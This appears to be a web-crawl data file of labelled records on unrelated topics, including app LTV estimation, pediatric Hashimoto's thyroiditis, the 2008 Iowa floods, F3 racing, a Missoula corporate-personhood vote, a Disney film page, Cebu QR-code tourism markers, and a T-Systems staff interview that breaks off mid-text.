TroopsFeedback	cc/2020-05/en_middle_0032.json.gz/line7965
__label__cc	0.732289	0.267711	How much data is needed to predict LTV? Posted on January 9, 2017 by Eric Benjamin Seufert One common predicament that arises for freemium mobile app publishers is determining when they’ve accumulated enough data in a soft launch to feel comfortable that their LTV estimates are reliable. Often, developers will validate early retention and monetization metrics against comparable products and launch them before longer-term data even becomes available. It’s an understandable approach. Projected LTV values are often forecasted over some months (eg. 6 months, 12 months, etc.), and LTV models require data over correspondingly long time horizons to be dependable. In order to get data for, say, 180 days LTV, a campaign needs to be monitored over 181 days, but with retention decay, the numbers of users that need to “flow through” an app to get a sizable sample of day 180 data can be quite large. Consider a soft launch that runs a three-day campaign of 500 acquired users per day: By day 181 of the soft launch — that is, 180 days after launching the campaign to acquire users for soft launch — only 500 users could have even potentially reached day 180 to produce just 500 data points. In reality, much fewer would have. By adding in some daily retention metrics, we can get a sense for how long it can take to accumulate a large data-set for longer-term app usage: with a 3% Day 180 retention rate, of the 1500 users acquired in the three-day campaign in soft launch, just 15 would have reached day 180: In order to accumulate 500 data points at Day 180 in as little time as possible (ie. wait just 181 days for the results), the campaign would have to see an increased daily volume of acquired users to 16,700: This is probably totally unrealistic for most developers, at least in a single geography for a single platform. This exercise raises a question: how much data is needed in order to estimate LTV? Many times, a sample size is decided arbitrarily — as in the case above in which 500 data points was deemed sufficient. But in reality, the sample size needed to build a robust LTV estimate is dependent on the consistency of the sampled data and the level of certainty that the organization requires around the estimate to feel comfortable in spending money against it. 500 could be enough or 10,000 might be required. This brings to the fore the concept of the confidence interval. There are a number of great resources that explain the concept very well, including this set of videos from the Khan Academy. The application of confidence intervals here allows for the LTV forecasting process to be approached a different way: instead of stipulating which LTV value needs to be forecast in a soft launch and assigning some arbitrary data set size that needs to be accumulated to determine for how long the soft launch should last, a level of confidence around some LTV day value (eg. Day 180 LTV) can be established that will ultimately define every other variable that exists in the process. That is to say: rather than requiring 500 data points for determining a 180-day LTV (which may or may not be enough and may or may not be collectable in 181 days), the analyst can say: we will wait until we’re able to calculate a 95% confidence interval for an actionable (biddable) 90-day LTV value, compare that against industry standards, and determine if our app is viable. In order to illustrate this process, I built a simple model that forecasts LTV based on some arbitrary assumptions around cumulative monetization and retention. These are: Explaining these variables: The ‘days’ list contains the days that the model estimates cumulative LTV values for; the ‘retention profile’ list contains the retention values for those days (eg. 50% retention for Day 1 from above); The ‘DNU’ and ‘cohorts’ variables are used to control the number of users that ‘flow through’ the app (DNU is Daily New Users and cohorts is the number of days that the campaign runs, eg. the number of days that DNU is brought into the app); The ‘Waiting Period’ variable is the number of days that the app is observed over (that is, the number of days the analyst would wait to see the cohorts’ data evolve within the app from the very first day of running a campaign). The ‘Starting LTV’ value is just a randomly chosen cumulative LTV value that gets assigned to the first day in the Days variable (so in this case, the Cumulative LTV at Day 1 is $0.10). This value gets multiplied by two at each subsequent Day value (again: in this case, Day 7 — the next value in the Days list variable — has a cumulative LTV of $0.10 2 = $0.20, Day 30 has a cumulative LTV of $0.20 * 2 = $0.40, and so on. These values were chosen arbitrarily). The model generates a population data set based on the total number of people brought into the app (DNU times the number of cohorts, or 500 * 180 = 90,000) for each Day based on a Lomax distribution (a long-tailed probability distribution that starts at 0, much like most LTV distributions) with an expected value of whatever the cumulative LTV value is for that day. The population distribution at Day 90 from the settings above looks like this ($0.80 is the expected value — again, this is a totally arbitrary value): A random sample is then drawn from each population based on the retention value for that day. So, for instance, since the retention value at Day 90 from above is 4%, the random sample drawn has a size of 1,800 data points (90 cohorts that have reached 180 days old * 500 DNU per cohort * 4%). In other words, 1,800 points are randomly drawn from the total population of LTV values for users that could have potentially reached Day 180 in the app. Confidence intervals are then drawn (at 95%) for those samples and the LTV values by day are plotted on a graph, along with error bars for the confidence intervals: In this graph, the Y-axis is predicted LTV value and the X-axis is the LTV Day. The values plotted here are the Predicted LTV values along with their confidence intervals and the percentage error of the interval endpoints (ie. how large as a percentage of the predicted value is the range, up or down, of the confidence interval). As you can see, the error margin at Day 90 is fairly small (6.5% up or down from the predicted value), but given the above model settings, this reasonably narrow confidence interval comes at a price: 181 days of waiting (six months) and 180 days of 500-person cohorts (90,000 acquired users). Assuming an average cost of $1.50 for a volume of 500 DNU, this soft launch would have cost the developer $135,000 over the course of six months for a robust 90-day LTV value. What happens if the developer only wants to acquire 200 DNU but is willing to wait for 181 days? The confidence interval increases fairly dramatically and the error margin up or down increases to more than 10%. What happens if the developer only wants to acquire 200 DNU and only wants to wait 120 days (4 months) for Day 90 data? The error margin on the confidence interval for the Day 90 LTV increases to more than 23%, meaning the predicted value is not actionable as a marketing metric. The above is for a Day 90 LTV value, which is low compared to what many developers bid against: Day 180 or Day 365 LTV (ie. expected revenue contributions from a user over half a year or a year). In order to get a sub-10% error margin for a Day 180 predicted LTV, we’d need to run 180 cohorts and wait for 250 days (about eight months): To get the same sub-10% error rate for the confidence interval on a Day 365 LTV estimate, you’d need to wait about 455 days: These validation periods are very long and go beyond what most developers can allocate to a soft launch. This reality leaves developers with a few different options for making the decision to enter a global launch with a limited understanding of long-term LTV: Only launch apps with a Day 90 LTV that supports marketing. I see many developers choosing this option: they attach their marketing viability decision to their app’s Day 90 LTV and use that threshold to decide whether to kill an app in soft launch. In other words: if their Day 90 LTV — which is verifiable in a reasonable amount of time in soft launch, as per above — doesn’t support profitable user acquisition, then the app is killed. As the app collects more data from older cohorts in global launch, they adjust their marketing bids against longer-term LTV values that they feel have been quantitatively substantiated; Use LTV curve ratios from comparable apps to estimate a longer-term LTV. Developers releasing apps similar to those they already have in market may have seen a reliable ratio emerge between points on those apps’ LTV curves (eg. Day 365 LTV is 4x Day 30 LTV). This is a fairly common approach, but I think it underestimates the impact that small nuances can have on late-stage monetization for apps. The approach used to alleviate the cumbersome data requirements for predicting a reliable and statistically sturdy long-term LTV generally depends on the level of risk the organization is willing to take on marketing spend and its overall appetite for uncertainty. Some firms simply have no tolerance for estimates that can’t be validated with actual data: for those companies, growth is slow, incremental, but dependable and principled. This mindset is the one I detailed in my recent presentation about app positioning: developers without recourse to marketing loss funding are forced to adopt a disciplined approach to growth that minimizes risk and accommodates the thesis of this article, which is that late-stage LTV estimation is very difficult to do with a high degree of statistical rigor without a lot of money (data) and a lot of time. * just like many topics in statistics, the concept of the confidence interval is somewhat controversial (I briefly discuss this controversy in Freemium Economics). This article uses the concept of the confidence interval to illustrate a point: that low numbers of data points in long-term LTV measurements create the potential for a high level of variance across those data points.	cc/2020-05/en_middle_0032.json.gz/line7967
__label__cc	0.590443	0.409557	Renata Lorini, Roberto Gastaldi, Cristina Traggiai, Paola Polo Perucchin, J. Sack, Z. Laron Istituto "Giannina Gaslini" Hashimoto's Thyroiditis (HT) is the most common cause of thyroid diseases in children and adolescents and it is also the most common cause of acquired hypothyroidism with or without goiter. The linkage between HT and some HLA genes has been reported and a genetic predisposition to thyroid autoimmunity is suggested by observations in twins. There is no direct evidence that infections cause HT in humans, while iodine and iodine containing drugs can precipitate HT in susceptible populations. There is an infiltration of lymphocytes and plasma cells between the follicles followed by their atrophy. The clinical course is variable and spontaneous remission may occur in adolescence. Goiter, menstrual disorders, short stature, constipation, nervousness and exophthalmos have been reported as the most recurrent clinical features of HT. Nevertheless we studied 33 patients with HT, 22 girls and 11 boys aged 4.9-19 years and most of them were euthyroid clinically. Hashimoto thyroiditis is often associated with type 1 diabetes and other autoimmune disorders such as coeliac disease, type 2 and type 3 polyglandular autoimmune disorders. Girls with Turner syndrome may develop HT. Patients with HT have positive antibodies to thyroglobulin and/or to thyroperoxidase in blood. Thyroid function could be normal or abnormal (overt hypothyroidism, subclinical hypothyroidism and hyperthyroidism). Abnormal ultrasound patterns may be present in patients with HT disease as diffuse hypoechogenicity and pseudonodules. L-thyroxine therapy is indicated in HT with hypothyroidism, but periodic re-evaluations are required because HT could be a self-limited disorder in some cases. Pediatric Endocrinology Reviews SUPLL. 2 Hashimoto Disease Spontaneous Remission Plasma Cells Thyroxine Lorini, R., Gastaldi, R., Traggiai, C., Perucchin, P. P., Sack, J., & Laron, Z. (2003). Hashimoto's thyroiditis. Pediatric Endocrinology Reviews, 1(SUPLL. 2), 205-211. Hashimoto's thyroiditis. / Lorini, Renata; Gastaldi, Roberto; Traggiai, Cristina; Perucchin, Paola Polo; Sack, J.; Laron, Z. In: Pediatric Endocrinology Reviews, Vol. 1, No. SUPLL. 2, 12.2003, p. 205-211. Lorini, R, Gastaldi, R, Traggiai, C, Perucchin, PP, Sack, J & Laron, Z 2003, 'Hashimoto's thyroiditis', Pediatric Endocrinology Reviews, vol. 1, no. SUPLL. 2, pp. 205-211. Lorini R, Gastaldi R, Traggiai C, Perucchin PP, Sack J, Laron Z. Hashimoto's thyroiditis. Pediatric Endocrinology Reviews. 2003 Dec;1(SUPLL. 2):205-211. Lorini, Renata ; Gastaldi, Roberto ; Traggiai, Cristina ; Perucchin, Paola Polo ; Sack, J. ; Laron, Z. / Hashimoto's thyroiditis. In: Pediatric Endocrinology Reviews. 2003 ; Vol. 1, No. SUPLL. 2. pp. 205-211. @article{93357da4ca4c4fbf8d8877ede9c43752, title = "Hashimoto's thyroiditis", abstract = "Hashimoto's Thyroiditis (HT) is the most common cause of thyroid diseases in children and adolescents and it is also the most common cause of acquired hypothyroidism with or without goiter. The linkage between HT and some HLA genes has been reported and a genetic predisposition to thyroid autoimmunity is suggested by observations in twins. There is no direct evidence that infections cause HT in humans, while iodine and iodine containing drugs can precipitate HT in susceptible populations. There is an infiltration of lymphocytes and plasma cells between the follicles followed by their atrophy. The clinical course is variable and spontaneous remission may occur in adolescence. Goiter, menstrual disorders, short stature, constipation, nervousness and exophthalmos have been reported as the most recurrent clinical features of HT. Nevertheless we studied 33 patients with HT, 22 girls and 11 boys aged 4.9-19 years and most of them were euthyroid clinically. Hashimoto thyroiditis is often associated with type 1 diabetes and other autoimmune disorders such as coeliac disease, type 2 and type 3 polyglandular autoimmune disorders. Girls with Turner syndrome may develop HT. Patients with HT have positive antibodies to thyroglobulin and/or to thyroperoxidase in blood. Thyroid function could be normal or abnormal (overt hypothyroidism, subclinical hypothyroidism and hyperthyroidism). Abnormal ultrasound patterns may be present in patients with HT disease as diffuse hypoechogenicity and pseudonodules. L-thyroxine therapy is indicated in HT with hypothyroidism, but periodic re-evaluations are required because HT could be a self-limited disorder in some cases.", keywords = "Autoimmunity, Goiter, Thyroid", author = "Renata Lorini and Roberto Gastaldi and Cristina Traggiai and Perucchin, {Paola Polo} and J. Sack and Z. Laron", journal = "Pediatric Endocrinology Reviews", publisher = "YS Medical Media Ltd.", number = "SUPLL. 2", T1 - Hashimoto's thyroiditis AU - Lorini, Renata AU - Gastaldi, Roberto AU - Traggiai, Cristina AU - Perucchin, Paola Polo AU - Sack, J. AU - Laron, Z. N2 - Hashimoto's Thyroiditis (HT) is the most common cause of thyroid diseases in children and adolescents and it is also the most common cause of acquired hypothyroidism with or without goiter. The linkage between HT and some HLA genes has been reported and a genetic predisposition to thyroid autoimmunity is suggested by observations in twins. There is no direct evidence that infections cause HT in humans, while iodine and iodine containing drugs can precipitate HT in susceptible populations. There is an infiltration of lymphocytes and plasma cells between the follicles followed by their atrophy. The clinical course is variable and spontaneous remission may occur in adolescence. Goiter, menstrual disorders, short stature, constipation, nervousness and exophthalmos have been reported as the most recurrent clinical features of HT. Nevertheless we studied 33 patients with HT, 22 girls and 11 boys aged 4.9-19 years and most of them were euthyroid clinically. Hashimoto thyroiditis is often associated with type 1 diabetes and other autoimmune disorders such as coeliac disease, type 2 and type 3 polyglandular autoimmune disorders. Girls with Turner syndrome may develop HT. Patients with HT have positive antibodies to thyroglobulin and/or to thyroperoxidase in blood. Thyroid function could be normal or abnormal (overt hypothyroidism, subclinical hypothyroidism and hyperthyroidism). Abnormal ultrasound patterns may be present in patients with HT disease as diffuse hypoechogenicity and pseudonodules. L-thyroxine therapy is indicated in HT with hypothyroidism, but periodic re-evaluations are required because HT could be a self-limited disorder in some cases. AB - Hashimoto's Thyroiditis (HT) is the most common cause of thyroid diseases in children and adolescents and it is also the most common cause of acquired hypothyroidism with or without goiter. The linkage between HT and some HLA genes has been reported and a genetic predisposition to thyroid autoimmunity is suggested by observations in twins. There is no direct evidence that infections cause HT in humans, while iodine and iodine containing drugs can precipitate HT in susceptible populations. There is an infiltration of lymphocytes and plasma cells between the follicles followed by their atrophy. The clinical course is variable and spontaneous remission may occur in adolescence. Goiter, menstrual disorders, short stature, constipation, nervousness and exophthalmos have been reported as the most recurrent clinical features of HT. Nevertheless we studied 33 patients with HT, 22 girls and 11 boys aged 4.9-19 years and most of them were euthyroid clinically. Hashimoto thyroiditis is often associated with type 1 diabetes and other autoimmune disorders such as coeliac disease, type 2 and type 3 polyglandular autoimmune disorders. Girls with Turner syndrome may develop HT. Patients with HT have positive antibodies to thyroglobulin and/or to thyroperoxidase in blood. Thyroid function could be normal or abnormal (overt hypothyroidism, subclinical hypothyroidism and hyperthyroidism). Abnormal ultrasound patterns may be present in patients with HT disease as diffuse hypoechogenicity and pseudonodules. L-thyroxine therapy is indicated in HT with hypothyroidism, but periodic re-evaluations are required because HT could be a self-limited disorder in some cases. KW - Autoimmunity KW - Goiter KW - Thyroid JO - Pediatric Endocrinology Reviews JF - Pediatric Endocrinology Reviews IS - SUPLL. 2	cc/2020-05/en_middle_0032.json.gz/line7968
__label__cc	0.699415	0.300585	12 issues for £12 Merryn's Blog Why floods could bring America to its knees Floods in Iowa have left millions of acres of crops under water. And with cheap corn the backbone of the processed food industry, Americans are going to have to make some drastic changes. by: moneyweek A catastrophe for Iowa farmers will not be just a catastrophe for Midwestern Americans. In the Iowa floods, we'll see more evidence of how the problems of weird weather (climate change) combine and ramify the problems associated with Peak Oil. In this particular case they lead to an inflection point sometime around the 2008 harvest season, which will also be our time of political harvest. These are not your daddy's or granddaddy's floods. These are 500-year floods, events not seen before non-Indian people started living out on that stretch of the North American prairie. The vast majority of homeowners in Eastern Iowa did not have flood insurance because the likelihood of being affected above the 500-year-line was so miniscule their insurance agents actually advised them against getting it. Get your FREE daily investment email - Money Morning The road to profitable investing begins with one simple step Subscribe to MoneyWeek Become a smarter, better informed investor with MoneyWeek. The personal ruin out there will be comprehensive and profound, a wet version of the 1930s Dust Bowl, with families facing total loss and perhaps migrating elsewhere in the nation because they have no home to go back to. Iowa in 2008 will be an even slower-motion disaster than Hurricane Katrina in 2005. Beyond the troubles of 25,000 people who have lost all their material possessions is a world whose grain reserves stand at record lows. The crop losses in Iowa will aggravate what is already a pretty dire situation. So far, the US public has experienced the world grain situation mainly in higher supermarket prices. Cheap corn is behind the magic of the American processed food industry all those pizza pockets and juicy-juice boxes that frantic Americans resort to because they have no time between two jobs and family-chauffeur duties to actually cook (note: reheating is not cooking). Behind that magic is an agribusiness model of farming cranked up on the steroids of cheap oil and cheap natural-gas-based fertiliser. Both of these 'inputs' have recently entered the realm of the non-cheap. Oil-and-gas-based farming had already reached a crisis stage before the flood of Iowa. Diesel fuel is a dollar-a-gallon higher than gasoline. Natural gas prices have doubled over the past year, sending fertiliser prices way up. American farmers are poorly positioned to reform their practices. All that cheap fossil fuel masks a tremendous decay of skill in husbandry. The farming of the decades ahead will be a lot more complicated than just buying X amount of 'inputs' (on credit) to be dumped on a sterile soil growth medium and spread around with giant diesel-powered machines. Like a lot of other activities in American life these days, agribusiness is unreformable along its current lines. It will take a convulsion to change it, and in that convulsion it will be dragged kicking-and-screaming into a new reality. As that occurs, the US public will have to contend with more than just higher taco chip prices. We're heading into the Vale of Malthus Thomas Robert Malthus, the British economist-philosopher who introduced the notion that eventually world population would overtake world food production capacity. Malthus has been scorned and ridiculed in recent decades, as fossil fuel-cranked farming allowed the global population to go vertical. Techno-triumphalist observers who should have known better attributed this to the "green revolution" of bio-engineering. Malthus is back now, along with his outriders: famine, pestilence, and war. We're headed, it seems, toward a fall 'crunch time', and that crunching sound will not be of cheese doodles and taco chips consumed on the sofas of America. I think we're heading into a season of hoarding. As the presidential campaign moves into its final round, Americans may be hard up for both food and gasoline. On the oil scene, the next event on the horizon is not just higher prices but shortages. Chances are they will occur first in the Southeast states because oil exports from Mexico and Venezuela feeding the Gulf of Mexico refineries are down more than 30% +over 2007. Perhaps more ominous is the discontent on the trucking scene. Truckers are going broke in droves, unable to carry on their business while getting paid $2,000 for loads that cost them $3,000 to deliver. In Europe last week, enraged truckers paralysed the food distribution networks of Spain and Portugal. The passivity of US truckers so far has been a striking feature of the general zombification of American life. They might continue to just crawl off one-by-one and die. But it's also possible that, at some point, they'll mount a Night of the Living Dead offensive and take their vengeance out on 'the system' that has brought them to ruin. America has only about a three-day supply of food in any of its supermarkets. The yet-more-ominous thing here is that shortages of food and oil are two fiascos that are pretty clearly predictable for the second half of the year. That's bad enough without figuring in the 'unknowns' that could kick up American hardship a few more notches. The hurricane season just got underway obscured for the moment by the bigger weather story in Iowa. The fate of the banks is a train wreck still waiting to happen. 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__label__wiki	0.882237	0.882237	Hitech GP moves to second in F3 championship after wins for Vips and Pulcini at Silverstone The Hitech GP Formula 3 team moved to second in the championship standings after recording an impressive clean sweep of victories at Silverstone last weekend. Having secured pole position for Saturday’s Race 1, Estonian driver Juri Vips completed a thrilling lights-to-flag victory after a race long battle with Prema’s Jehan Daravula to take the chequered flag. Juri Vips celebrates victory in Race 1 at Silverstone ©FIA Formula 3 “If you watch the live stream then you will have seen [how close] it was,” commented Vips on the team’s official site. “I think four or five times we [Daravula] were side-by-side and it was a case of whoever brakes the latest gets the lead. I wasn’t going to let him by. Whenever we got side-by-side I had the inside – I released the brake and didn’t give him any real room, which I think was good racing – it was very close. He clearly had the better pace and it was just really, really hard work but in the end, very satisfying to keep him behind.” Vips’ Silverstone victory backed up his impressive win at the Red Bull Ring and things got even better for Hitech GP in Race 2 after Vips’ teammate Leonardo Pulcini, who finished fourth in Race 1, bagged his maiden F3 victory, charging into the lead with only two laps remaining. Leonardo Pulcini savours his maiden F3 victory ©FIA Formula 3 “It feels very good, especially after three difficult rounds,” said Pulcini afterward. “It’s also good for the team. We’ve had a double win this weekend so I’m very happy for them. They are working really hard, pushing really hard, and big thanks to them for giving me a fast car today. I had a good start and I felt very good, I was controlling a little bit and beginning with [Pedro] Piquet and [Liam] Lawson. “When I saw they were struggling a little bit with tyres I decided to push hard and overtake them. After that I was just pushing to open a gap. As soon as I broke the gap for DRS I just controlled my tyres and it went very good at the end. To finish with my first podium of the year, especially with a win, it is a very good feeling. It came a little late but I hope that from now we just continue like this.” Following the clean sweep of victories, Acronis partner team Hitech GP heads to the Hungaroring in Budapest now second to Prema Racing in the championship standings ahead of ART Grand Prix with four rounds remaining. Leonardo Pulcini takes the chequered flag for Hitech GP in race 2 ©FIA Formula 3 FIA Formula 3 Hitech GP juri vips leanardo pulcini Silverstone Sports news and features writer, web editor and author. Prema Power – How the kings of F3 are driving the aspirations of F1’s future stars Hitech GP and Acronis announce technology partnership The Prema Racing team has signed young American driver Logan Sargeant to the team as it bids to defend its FIA Formula 3 title. Having impressed during the post-season collective test at Valencia, Sargent joins the team... Tunnel vision Vips – why the Estonian driver already has his sights set on the ultimate goal For most young and aspiring drivers, three race wins, second in the prestigious Macau Grand Prix and fourth in the Formula 3 championship would represent a return to be proud of. But, for Hitech GP’s ambitious Estonian... Formula 2Formula 3 For most young drivers who aspire to drive at the very highest level of motorsport, there is a tried and tested route to follow. The traditional ladder to the pinnacle of the sport is to progress through karting and the...	cc/2020-05/en_middle_0032.json.gz/line7976
__label__wiki	0.63292	0.63292	>>En Español 471,575 signatures and counting... click here to join the movement to amend! MTA Coalition About Move to Amend Local MTA Affiliate Groups Amendment Working Groups Issue/Sector Caucuses Endorsing Organizations Initial Signatories Intern Team Upcoming Barnstorming Tours MTA Action Campaigns Take Action Toolkit Endorse MTA Timeline of Personhood Rights Order Outreach Materials Examples of Corporate Rule REAL Democracy History Calendar MTA Reports: Weekly Podcast We the People Amendment Amendment Comparison Resolutions in Support Become a Sustaining Donor Donor Support Page How Does MTA Use My Donations? City of Shaker Heights, OH Council Resolutions, Ordinances and Citizen Initiatives Passed in Ohio Missoula Voters Say Corporations Are Not People, Demand Constitutional Amendment Keila Szpaller Corporations aren't people, an overwhelming 75 percent of Missoula voters said Tuesday, and they don't want corporations treated like people either. "I'm over the moon about it," said Councilwoman Cynthia Wolken, who brought the referendum to the Missoula City Council to place on the ballot. The measure - similar to others across the country - calls on the U.S. Congress and state leaders to amend the U.S. Constitution to say that "corporations are not human beings." It earned 10,729 votes in favor and 3,605 against. The resolution isn't binding, but it does send a message that's gaining momentum nationwide. Wolken said she planned on being satisfied to capture more than 50 percent of the vote, "really happy" with more than 60 percent, and "over the moon" with anything more. "Basically, it affirmed what we were all seeing on the streets, which is the average Missoulian wanted to have their voice heard ... and they want their elected officials to fix the problem of corporate personhood," Wolken said. "So I hope this message is heard and we get started on fixing the problem." As she sees it, corporations have been given too much power, and as stated in the Missoula resolution, their "profits and survival are often in direct conflict with the essential needs and rights of human beings." The movement to amend the U.S. Constitution launched in earnest in January 2010 after the U.S. Supreme Court issued a decision on Citizens United v. the Federal Election Commission, overruling two precedents. It stated the government can't ban campaign spending on elections by corporations because that would be unduly regulating speech. According to the local resolution, the ruling on Citizens United corrupts one foundation of democracy by "rolling back legal limits on corporate spending in the electoral process." "(The decision) ... allows unlimited corporate spending to influence elections, candidate selection, policy decisions and sway votes," reads the Missoula resolution. Councilwoman Wolken said the Missoula city clerk likely will prepare a letter to send to state and national leaders urging the amendment once the office has finished work on a more pressing priority, replacing the Municipal Court judge. She also said she expects action from state legislators as well. "I have no doubt that when the legislative session starts back up, that this will be on the top of the list," Wolken said. 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__label__wiki	0.96532	0.96532	Movie Insiders Shop Captain Marvel Theatrical Releases All Theatrical Releases All At Home More Explore STREAM MUPPETS MOST WANTED NOW ON Disney’s “Muppets Most Wanted” takes the entire Muppets gang on a global tour, selling out grand theaters in some of Europe’s most exciting destinations, including Berlin, Madrid and London. But mayhem follows the Muppets overseas, as they find themselves unwittingly entangled in an international crime caper headed by Constantine—the World’s Number One Criminal and a dead ringer for Kermit—and his dastardly sidekick Dominic, aka Number Two, portrayed by Ricky Gervais. The film stars Tina Fey as Nadya, a feisty prison guard, and Ty Burrell as Interpol agent Jean Pierre Napoleon. Disney’s “Muppets Most Wanted” is directed by James Bobin and produced by David Hoberman and Todd Lieberman. Bobin co-wrote the screenplay with Nicholas Stoller, who is also executive producer with John G. Scotti. Featuring music from Academy Award®-winning songwriter Bret McKenzie, “Muppets Most Wanted” hit the big screen March 21, 2014 The Unnecessarily Extended Cut The Statler & Waldorf Cut The Longer Longest Blooper Reel in Muppets History Rizzo's Biggest Fan "I'll Get You What You Want" Music Video Performed by Bret McKenzie Blu-ray + DVD + Digital Merida, the impulsive daughter of King Fergus and Queen Elinor, is determined change the her destiny and the fate of her family. Travel to a galaxy not so far away with WALL-E, a lonely robot who discovers love on a fantastical journey across the universe. Monsters University unlocks the door on how Mike and Sulley overcame their differences and became the best of friends. Explore the untold story of Disney’s most iconic villain in this wickedly fun twist on the classic Sleeping Beauty. In an unforgiving mood after a neighboring kingdom threatens her forest, Maleficent (Angelina Jolie) places an irrevocable curse on the king’s newborn daughter, the Princess Aurora. But as the child grows, Maleficent finds herself becoming fond of the girl. And as the conflict between the two realms intensifies, Maleficent realizes that Aurora may hold the key to peace in the land. Journey beyond the fairy tale in this soaring adventure that is “visually arresting, brilliantly designed” (Andrew Barker, Variety). Maleficent: Mistress of Evil Frozen 2 Star Wars: The Rise of Skywalker Onward Mulan Avengers: Endgame Aladdin Captain Marvel Dumbo Toy Story 4 Disney Movie Insiders Disney Movie Club Movies Anywhere Redeem Digital Movie Technical Support World of Wonder User Manual © Disney, All Rights Reserved, Disney Lifestyle	cc/2020-05/en_middle_0032.json.gz/line7978
__label__wiki	0.589628	0.589628	Events Feature News Smart, MyCebu.ph to deliver info on tourism, heritage sites through phone scanning Post author By siteadmin 5 Comments on Smart, MyCebu.ph to deliver info on tourism, heritage sites through phone scanning INFO MARKER. Above is a sample marker at the Heritage of Cebu monument in Barangay Pari-an. When scanned with a QR Code reader in a phone or tablet, the system will send you an article in MyCebu.ph about the monument. Philippine wireless leader Smart Communications, Inc. (Smart) and Cebu-based website MyCebu.ph have partnered to deliver information on tourism and heritage sites to mobile phones and tablets through quick response or QR code scanning. The project is being undertaken in partnership with the Department of Tourism. Smart and MyCebu.ph will place special markers on tourism and heritage sites all over Cebu. The markers will contain a snippet of information about the site and a QR code that, when scanned, will open an article about the landmark. To be able to load the information, users must be connected to the Internet and they must have a QR code reader in their devices. Most phone platforms offer free QR code scanners in their respective application markets. MYCebu.ph editor Marlen Limpag explains to bloggers and journalists gathered on Colon Street, the country’s oldest street, the QR Code data tagging of Cebu tourism and heritage structures, a joint project between MyCebu.ph and Smart Communications Inc, done in partnership with the Department of Tourism. During the demo on Colon St., journalists and bloggers were able to load a photo of old Colon by scanning the QR Code contained in a special marker. The project was launched in historic Barangay Pari-an yesterday (December 20). Smart and MyCebu.ph also announced the immediate availability of a free electronic guidebook to the Sinulog for the iPad, iPhone, Kindle, Android tablets and phones and other smartphones and e-reader brands. The guidebook will be offered for free download at the airport, Ayala Center Cebu, hotels, restaurants and other tourism establishments in Cebu. It will also be given away at the offices of the DOT and the Sinulog Foundation. Electronic guidebook Smart and MyCebu.ph also launched “A Guide To Cebu 2012,” an electronic guidebook on Cebu. The guidebook will be sold on Amazon and other online bookstores but will also be made available for free download at the airport, Ayala Center Cebu, hotels and other locations frequented by tourists. The Sinulog guidebook was made available for download starting in yesterday’s launch. A Guide To Cebu 2012, however, will be made available for download in January in time for the Sinulog. During yesterday’s launch, Smart and MyCebu.ph took guests on a short heritage walk in Paria-an to demonstrate the viewing of information through QR code scanning. The highlight of the tour was the display of the San Juan Bautista parish church through a QR code marker at the chapel that is built on where the church used to stand. The parish church is described by historical records as the most opulent in Cebu. It was torn down in the late 1870s during a conflict between the Pari-an community leader and a Spanish priest. “The project showcases journalism that takes full advantage of new technology to deliver information to people,” said Marlen Limpag, MyCebu.ph editor, “With the project, people are able to read on their phone or tablet about historic events right at where these happened.” Limpag stressed, however, that the project isn’t purely historical or heritage. “Tourists can also get tips on how to get the most of their stay right at the tourist spot they are visiting.” “This is a very exciting project for us. We are not only promoting tourism here in Cebu, we also get to work with passionate people from MyCebu.ph, DOT, Sinulog foundation, local bloggers and local community leaders in helping preserve these heritage sites by raising awareness through Internet and communications technologies,” said Atty. Maria Jane C. Paredes, senior manager for Public Affairs Group, Smart. The group will also showcase video clips linked to the QR codes in select tourism and heritage sites. To capitalize on social networking to help spread word on the country’s tourism sites, the articles loaded by the system are plugged into various social networks like Facebook, Google+, Twitter and even location-based services like FourSquare. They can then “Like” or tweet about the place. “Filipinos are very social in nature. We can use social media to our advantage to help encourage more tourists to visit Cebu and the rest of the country. This initiative in Cebu is just the start of something bigger for us. We plan to bring this nationwide in support of the DOT and the various local government units,” added Paredes. But while the system makes use of QR scanning, Limpag said they are looking forward to using technologies like NFC or near field communication to deliver data in the future. “We think QR code scanning is transitory. We look forward to using NFC to simplify delivery of information and we are happy to have partnered with Smart, which pioneered the use of NFC in the Philippines,” Limpag said. The QR code project will be pioneered in Pari-an and downtown Cebu City. Smart and MyCebu.ph, however, will work to expand the system to cover important tourism and historical sites in Cebu. Tags heritage, Parian, QR code, Smart Communications Inc., tourism ← Smart, MyCebu.ph offer Sinulog guidebook for free download → Cordova’s bakasi and other bounties from the sea	cc/2020-05/en_middle_0032.json.gz/line7987
__label__cc	0.597746	0.402254	11. October 2018 \| Autor: Lukáš Benedik \| Kategória: Non-classified Back in Košice after seven years in Switzerland. What ICT Architect designs? Pavol Dilung works at TC division (Telecommunications) currently, as the Architect. He has been interviewed together with his superior Beata Bartok. What were we talking about? Mainly about a person, who was beginning his professional growth at T-Systems Slovakia (TSSK), later living abroad for seven years and then he came back to Košice again. Beginnings of the automation Pavol has started his carrier in the Institute of Computer Science and then in year 2006 he moved to starting IT company, T-Systems Slovakia. He was working mainly with SOLARIS operation systems. Pavol was one of the first persons who started the automation projects in the company. He was actively co-working with German colleagues. In years 2008 to 2009, he spent nine months in Munich, where he touched the big centralized systems and databases. Mobile network in Switzerland In June 2010 Pavol left Slovakia because of family reasons and found himself near Zurich. He was working for the Telekom company in first three years, travelling to work three hours via train. The train was partly his office in couple of hours. Something quite common in western world, but not here in Košice, where distances are quite short everywhere. Pavol was working on the solutions for mobile networks, searching for telephone and its registration and automatic updates. He was participating on the project „pay for me“, where one person can call somebody from the other person’s account. Later on other projects came as the cloud solutions, as Dev-Ops engineer, designing and developing the orchestration tool which connects Puppet (tool for automatic management of the configuration of operation systems and various apps) with various virtualizing technologies, controlling individual modules that are used when installing OS and apps. What is the life in Switzerland? Are people as cold and closed as the rumors say? Pavol answers: „I had very good experiences with people and I am still friends with many of them. Also the job was fine. There are very good and tasty types of cheese there, easy to eat and gain weight.“ People at T-Systems Slovakia? After seven years abroad Pavol was searching some position in Košice. He has addressed people from T-Systems, whether there is something interesting here. He returned to Operations Enabling department as ICT Architect (ICT – Information Communication Technologies) in March 2017. Why T-Systems? „I knew the company culture, benefits and mainly, I knew people. It is a big company with nice friendly atmosphere. It was one of the first IT companies in Košice, I like to be secure, it is a big company. I do not like big changes“: Pavol says. The other advantage surely is that he does not have to travel hours to work. Pavol also likes the nature around. Monitoring systems and „clouds“ Pavol is currently focused on the design of special operation systems (OS) with automatic features in virtual environment. These systems are the base for applications that are needed for the monitoring solution. For the customer it means that he knows what is happening with all the devices he is using in his business. For example, if somewhere, in the line, the cable is broken or there is some other software or hardware failure taking place, monitoring system sends the alarm. It is giving the information to the customer and colleagues from operations about the range of damage and the location of damage. The standardized virtual environment has a big advantage for the operation teams and developers because they can continue with 